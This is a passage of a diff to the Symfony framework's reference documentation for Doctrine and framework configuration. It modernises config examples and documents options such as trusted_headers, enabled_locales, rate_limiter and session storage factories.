-    will be rounded as ``5.5999999999999996447286321199499070644378662109375``).
+    issues can make your version be considered a different number (e.g. ``5.7``
+    will be rounded as ``5.6999999999999996447286321199499070644378662109375``).
 
     If you don't define this option and you haven't created your database
     yet, you may get ``PDOException`` errors because Doctrine will try to
@@ -155,13 +155,22 @@ which is the first one defined or the one configured via the
 ``default_connection`` parameter.
 
 Each connection is also accessible via the ``doctrine.dbal.[name]_connection``
-service where ``[name]`` is the name of the connection. In a controller
-extending ``AbstractController``, you can access it directly using the
-``getConnection()`` method and the name of the connection::
+service where ``[name]`` is the name of the connection. In a :doc:`controller </controller>`
+you can access it using the ``getConnection()`` method and the name of the connection::
 
-    $connection = $this->getDoctrine()->getConnection('customer');
+    // src/Controller/SomeController.php
+    use Doctrine\Persistence\ManagerRegistry;
 
-    $result = $connection->fetchAll('SELECT name FROM customer');
+    class SomeController
+    {
+        public function someMethod(ManagerRegistry $doctrine)
+        {
+            $connection = $doctrine->getConnection('customer');
+            $result = $connection->fetchAll('SELECT name FROM customer');
+
+            // ...
+        }
+    }
 
 Doctrine ORM Configuration
 --------------------------
@@ -265,9 +274,12 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (for PHP annotations; it's the default value),
+``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+See `Doctrine Metadata Drivers`_ for more information about this option.
+
 ``dir``
 .......
 
@@ -329,7 +341,7 @@ directory instead:
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -345,14 +357,17 @@ directory instead:
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'AppBundle' => ['dir' => 'SomeResources/config/doctrine', 'type' => 'xml'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('AppBundle')
+                ->type('xml')
+                ->dir('SomeResources/config/doctrine')
+            ;
+        };
 
 Mapping Entities Outside of a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -380,7 +395,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -402,20 +417,20 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'SomeEntityNamespace' => [
-                        'type'      => 'annotation',
-                        'dir'       => '%kernel.project_dir%/src/Entity',
-                        'is_bundle' => false,
-                        'prefix'    => 'App\Entity',
-                        'alias'     => 'App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('SomeEntityNamespace')
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity')
+                ->isBundle(false)
+                ->prefix('App\Entity')
+                ->alias('App')
+            ;
+        };
 
 Detecting a Mapping Configuration Format
 ........................................
@@ -450,3 +465,4 @@ is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
+.. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b8b0a7887d6..4ff34ecee12 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -27,272 +27,6 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `annotations`_
-
-  * :ref:`cache <reference-annotations-cache>`
-  * `debug`_
-  * `file_cache_dir`_
-
-* `assets`_
-
-  * `base_path`_
-  * `base_urls`_
-  * `json_manifest_path`_
-  * `packages`_
-  * `version_format`_
-  * `version_strategy`_
-  * `version`_
-
-* :ref:`cache <reference-cache>`
-
-  * :ref:`app <reference-cache-app>`
-  * `default_doctrine_provider`_
-  * `default_memcached_provider`_
-  * `default_pdo_provider`_
-  * `default_psr6_provider`_
-  * `default_redis_provider`_
-  * `directory`_
-  * `pools`_
-
-    * :ref:`name <reference-cache-pools-name>`
-
-      * `adapter`_
-      * `clearer`_
-      * `default_lifetime`_
-      * `provider`_
-      * `public`_
-      * `tags`_
-
-  * `prefix_seed`_
-  * `system`_
-
-* `csrf_protection`_
-
-  * :ref:`enabled <reference-csrf_protection-enabled>`
-
-* `default_locale`_
-* `disallow_search_engine_index`_
-* `error_controller`_
-* `esi`_
-
-  * :ref:`enabled <reference-esi-enabled>`
-
-* :ref:`form <reference-framework-form>`
-
-  * :ref:`enabled <reference-form-enabled>`
-
-* `fragments`_
-
-  * :ref:`enabled <reference-fragments-enabled>`
-  * `hinclude_default_template`_
-  * :ref:`path <reference-fragments-path>`
-
-* `http_client`_
-
-  * :ref:`default_options <reference-http-client-default-options>`
-
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * `headers`_
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * `max_host_connections`_
-  * :ref:`scoped_clients <reference-http-client-scoped-clients>`
-
-    * `scope`_
-    * `auth_basic`_
-    * `auth_bearer`_
-    * `auth_ntlm`_
-    * `base_uri`_
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * `headers`_
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `query`_
-    * `resolve`_
-
-    * :ref:`retry_failed <reference-http-client-retry-failed>`
-
-      * `retry_strategy`_
-      * :ref:`enabled <reference-http-client-retry-enabled>`
-      * `delay`_
-      * `http_codes`_
-      * `max_delay`_
-      * `max_retries`_
-      * `multiplier`_
-      * `jitter`_
-
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * :ref:`retry_failed <reference-http-client-retry-failed>`
-
-    * `retry_strategy`_
-    * :ref:`enabled <reference-http-client-retry-enabled>`
-    * `delay`_
-    * `http_codes`_
-    * `max_delay`_
-    * `max_retries`_
-    * `multiplier`_
-    * `jitter`_
-
-* `http_method_override`_
-* `ide`_
-* :ref:`lock <reference-lock>`
-
-  * :ref:`enabled <reference-lock-enabled>`
-  * :ref:`resources <reference-lock-resources>`
-
-    * :ref:`name <reference-lock-resources-name>`
-
-* `php_errors`_
-
-  * `log`_
-  * `throw`_
-
-* `profiler`_
-
-  * `collect`_
-  * `dsn`_
-  * :ref:`enabled <reference-profiler-enabled>`
-  * `only_exceptions`_
-  * `only_master_requests`_
-
-* `property_access`_
-
-  * `magic_call`_
-  * `magic_get`_
-  * `magic_set`_
-  * `throw_exception_on_invalid_index`_
-  * `throw_exception_on_invalid_property_path`_
-
-* `property_info`_
-
-  * :ref:`enabled <reference-property-info-enabled>`
-
-* `request`_:
-
-  * `formats`_
-
-* `router`_
-
-  * `http_port`_
-  * `https_port`_
-  * `resource`_
-  * `strict_requirements`_
-  * :ref:`type <reference-router-type>`
-  * `utf8`_
-
-* `secret`_
-* `serializer`_
-
-  * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
-  * :ref:`enable_annotations <reference-serializer-enable_annotations>`
-  * :ref:`enabled <reference-serializer-enabled>`
-  * :ref:`mapping <reference-serializer-mapping>`
-
-    * :ref:`paths <reference-serializer-mapping-paths>`
-
-  * :ref:`name_converter <reference-serializer-name_converter>`
-
-* `session`_
-
-  * `cache_limiter`_
-  * `cookie_domain`_
-  * `cookie_httponly`_
-  * `cookie_lifetime`_
-  * `cookie_path`_
-  * `cookie_samesite`_
-  * `cookie_secure`_
-  * :ref:`enabled <reference-session-enabled>`
-  * `gc_divisor`_
-  * `gc_maxlifetime`_
-  * `gc_probability`_
-  * `handler_id`_
-  * `metadata_update_threshold`_
-  * `name`_
-  * `save_path`_
-  * `sid_length`_
-  * `sid_bits_per_character`_
-  * `storage_id`_
-  * `use_cookies`_
-
-* `test`_
-* `translator`_
-
-  * `cache_dir`_
-  * :ref:`default_path <reference-translator-default_path>`
-  * :ref:`enabled <reference-translator-enabled>`
-  * :ref:`enabled_locales <reference-translator-enabled-locales>`
-  * `fallbacks`_
-  * `formatter`_
-  * `logging`_
-  * :ref:`paths <reference-translator-paths>`
-
-* `trusted_hosts`_
-* `trusted_proxies`_
-* `validation`_
-
-  * :ref:`cache <reference-validation-cache>`
-  * `email_validation_mode`_
-  * :ref:`enable_annotations <reference-validation-enable_annotations>`
-  * :ref:`enabled <reference-validation-enabled>`
-  * :ref:`mapping <reference-validation-mapping>`
-
-    * :ref:`paths <reference-validation-mapping-paths>`
-
-  * :ref:`not_compromised_password <reference-validation-not-compromised-password>`
-
-    * :ref:`enabled <reference-validation-not-compromised-password-enabled>`
-    * `endpoint`_
-
-  * `static_method`_
-  * `translation_domain`_
-
-* `workflows`_
-
-  * :ref:`enabled <reference-workflows-enabled>`
-  * :ref:`name <reference-workflows-name>`
-
-    * `audit_trail`_
-    * `initial_marking`_
-    * `marking_store`_
-    * `metadata`_
-    * `places`_
-    * `supports`_
-    * `support_strategy`_
-    * `transitions`_
-    * :ref:`type <reference-workflows-type>`
-
 secret
 ~~~~~~
 
@@ -306,6 +40,8 @@ recommended length is around 32 characters.
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
 This option becomes the service container parameter named ``kernel.secret``,
 which you can use whenever the application needs an immutable random string
@@ -353,12 +89,32 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+.. _reference-framework-trusted-headers:
+
+trusted_headers
+~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was introduced in Symfony 5.2.
+
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
+
 .. _reference-framework-trusted-proxies:
 
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`.
+.. versionadded:: 5.2
+
+    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
+    removed in Symfony 3.3).
+
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
 ide
 ~~~
@@ -406,15 +162,67 @@ doubling them to prevent Symfony from interpreting them as container parameters)
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ide' => 'myide://open?url=file://%%f&line=%%l',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
+        };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. This can be done by setting the
-``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
-format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them.
+feature is to configure it on a system level. First, you can set its value to
+some environment variable that stores the name of the IDE/editor:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            ide: '%env(resolve:CODE_EDITOR)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
+            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            $framework->ide('%env(resolve:CODE_EDITOR)%');
+        };
+
+.. versionadded:: 5.3
+
+    The option to use env vars in the ``framework.ide`` option was introduced
+    in Symfony 5.3.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
+
+.. code-block:: ini
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for Sublime
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::
 
@@ -431,7 +239,9 @@ need to escape the percent signs (``%``) by doubling them.
     When running your app in a container or in a virtual machine, you can tell
     Symfony to map files from the guest to the host by changing their prefix.
     This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators::
+    ``>`` as guest-to-host separators:
+
+    .. code-block:: text
 
         // /path/to/guest/.../file will be opened
         // as /path/to/host/.../file on the host
@@ -474,6 +284,88 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-translator-enabled-locales:
+.. _reference-enabled-locales:
+
+enabled_locales
+...............
+
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+
+.. versionadded:: 5.1
+
+    The ``enabled_locales`` option was introduced in Symfony 5.1.
+
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            enabled_locales: ['en', 'es']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->enabledLocales(['en', 'es']);
+        };
+
+If some user makes requests with a locale not included in this option, the
+application won't display any error because Symfony will display contents using
+the fallback locale.
+
+set_content_language_from_locale
+................................
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_content_language_from_locale`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
+
+set_locale_from_accept_language
+...............................
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
+
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
+
 disallow_search_engine_index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -504,7 +396,7 @@ instance), the host might have been manipulated by an attacker.
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
 method might be vulnerable to some of these attacks because it depends on
 the configuration of your web server. One simple solution to avoid these
-attacks is to whitelist the hosts that your Symfony application can respond
+attacks is to configure a list of hosts that your Symfony application can respond
 to. That's the purpose of this ``trusted_hosts`` option. If the incoming
 request's hostname doesn't match one of the regular expressions in this list,
 the application won't respond and the user will receive a 400 response.
@@ -538,9 +430,11 @@ the application won't respond and the user will receive a 400 response.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'trusted_hosts' => ['^example\.com$', '^example\.org$'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+        };
 
 Hosts can also be configured to respond to any subdomain, via
 ``^(.+\.)?example\.com$`` for instance.
@@ -666,9 +560,11 @@ You can also set ``esi`` to ``true`` to enable it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'esi' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()->enabled(true);
+        };
 
 fragments
 ~~~~~~~~~
@@ -726,16 +622,62 @@ as a service named ``http_client`` or using the autowiring alias
 
 This service can be configured using ``framework.http_client.default_options``:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            max_host_connections: 10
-            default_options:
-                headers: { 'X-Powered-By': 'ACME App' }
-                max_redirects: 7
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
 .. _reference-http-client-scoped-clients:
 
@@ -744,16 +686,57 @@ service name defined as a key under ``scoped_clients``. Scoped clients inherit
 the default options defined for the ``http_client`` service. You can override
 these options and can define a few others:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            scoped_clients:
-                my_api.client:
-                    auth_bearer: secret_bearer_token
-                    # ...
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
 Options defined for scoped clients apply only to URLs that match either their
 `base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
@@ -777,17 +760,18 @@ will automatically retry failed HTTP requests.
         # ...
         http_client:
             # ...
-            retry_failed:
-                # retry_strategy: app.custom_strategy
-                http_codes:
-                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                    429: true            # retry all responses with 429 status code
-                    500: ['GET', 'HEAD']
-                max_retries: 2
-                delay: 1000
-                multiplier: 3
-                max_delay: 5000
-                jitter: 0.3
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
 
             scoped_clients:
                 my_api.client:
@@ -826,6 +810,8 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
+.. _reference-http-client-base-uri:
+
 base_uri
 ........
 
@@ -860,7 +846,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -915,6 +901,8 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+.. _http-headers:
+
 headers
 .......
 
@@ -1132,7 +1120,7 @@ config option.
 verify_host
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers is verified to ensure that
 their common name matches the host included in the URL. This is usually
@@ -1141,7 +1129,7 @@ combined with ``verify_peer`` to also verify the certificate authenticity.
 verify_peer
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
 connection is verified for authenticity. Authenticating the certificate is not
@@ -1188,14 +1176,23 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
-only_master_requests
-....................
+.. _only_master_requests:
+
+only_main_requests
+..................
 
 **type**: ``boolean`` **default**: ``false``
 
-When this is set to ``true``, the profiler will only be enabled on the master
+.. versionadded:: 5.3
+
+    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``only_master_requests``.
+
+When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
+.. _profiler-dsn:
+
 dsn
 ...
 
@@ -1203,6 +1200,35 @@ dsn
 
 The DSN where to store the profiling information.
 
+rate_limiter
+~~~~~~~~~~~~
+
+.. _reference-rate-limiter-name:
+
+name
+....
+
+**type**: ``prototype``
+
+Name of the rate limiter you want to create.
+
+lock_factory
+""""""""""""
+
+**type**: ``string`` **default:** ``lock.factory``
+
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
+
+policy
+""""""
+
+**type**: ``string`` **required**
+
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
+
 request
 ~~~~~~~
 
@@ -1258,13 +1284,12 @@ To configure a ``jsonp`` format:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'request' => [
-                'formats' => [
-                    'jsonp' => 'application/javascript',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
+        };
 
 router
 ~~~~~~
@@ -1288,6 +1313,18 @@ The type of the resource to hint the loaders about the format. This isn't
 needed when you use the default routers with the expected file extensions
 (``.xml``, ``.yaml``, ``.php``).
 
+default_uri
+...........
+
+**type**: ``string``
+
+.. versionadded:: 5.1
+
+    The ``default_uri`` option was introduced in Symfony 5.1.
+
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+
 http_port
 .........
 
@@ -1316,7 +1353,7 @@ The value can be one of:
 ``true``
     Throw an exception when the requirements are not met;
 ``false``
-    Disable exceptions when the requirements are not met and return ``null``
+    Disable exceptions when the requirements are not met and return ``''``
     instead;
 ``null``
     Disable checking the requirements (thus, match the route even when the
@@ -1350,25 +1387,37 @@ errors.
 session
 ~~~~~~~
 
-storage_id
-..........
+.. _storage_id:
+
+storage_factory_id
+..................
+
+**type**: ``string`` **default**: ``'session.storage.factory.native'``
+
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
+To see a list of all available storages, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container session.storage.factory.
 
-**type**: ``string`` **default**: ``'session.storage.native'``
+.. versionadded:: 5.3
 
-The service id used for session storage. The ``session.storage`` service
-alias will be set to this service id. This class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3.
 
 .. _config-framework-session-handler-id:
 
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``'session.handler.native_file'``
 
-The service id used for session storage. The default ``null`` value means to use
-the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
-let Symfony manage the sessions itself using files to store the session metadata.
+The service id used for session storage. The default value ``'session.handler.native_file'``
+will let Symfony manage the sessions itself using files to store the session metadata.
+Set it to ``null`` to use the native PHP session mechanism.
 You can also :doc:`store sessions in a database </session/database>`.
 
 .. _name:
@@ -1472,7 +1521,7 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
-* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
@@ -1491,10 +1540,10 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``null`` **default**: ``null``
+**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``null`` value that
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
 cookie_httponly
@@ -1595,11 +1644,12 @@ setting the value to ``null``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'save_path' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->savePath(null);
+        };
 
 .. _reference-session-metadata-update-threshold:
 
@@ -1649,11 +1699,12 @@ Whether to enable the session support in the framework.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->enabled(true);
+        };
 
 use_cookies
 ...........
@@ -1705,12 +1756,13 @@ This option allows you to define a base path to be used for assets:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_path' => '/images',
-            ],
-        ]);
+            $framework->assets()
+                ->basePath('/images');
+        };
 
 .. _reference-templating-base-urls:
 .. _reference-assets-base-urls:
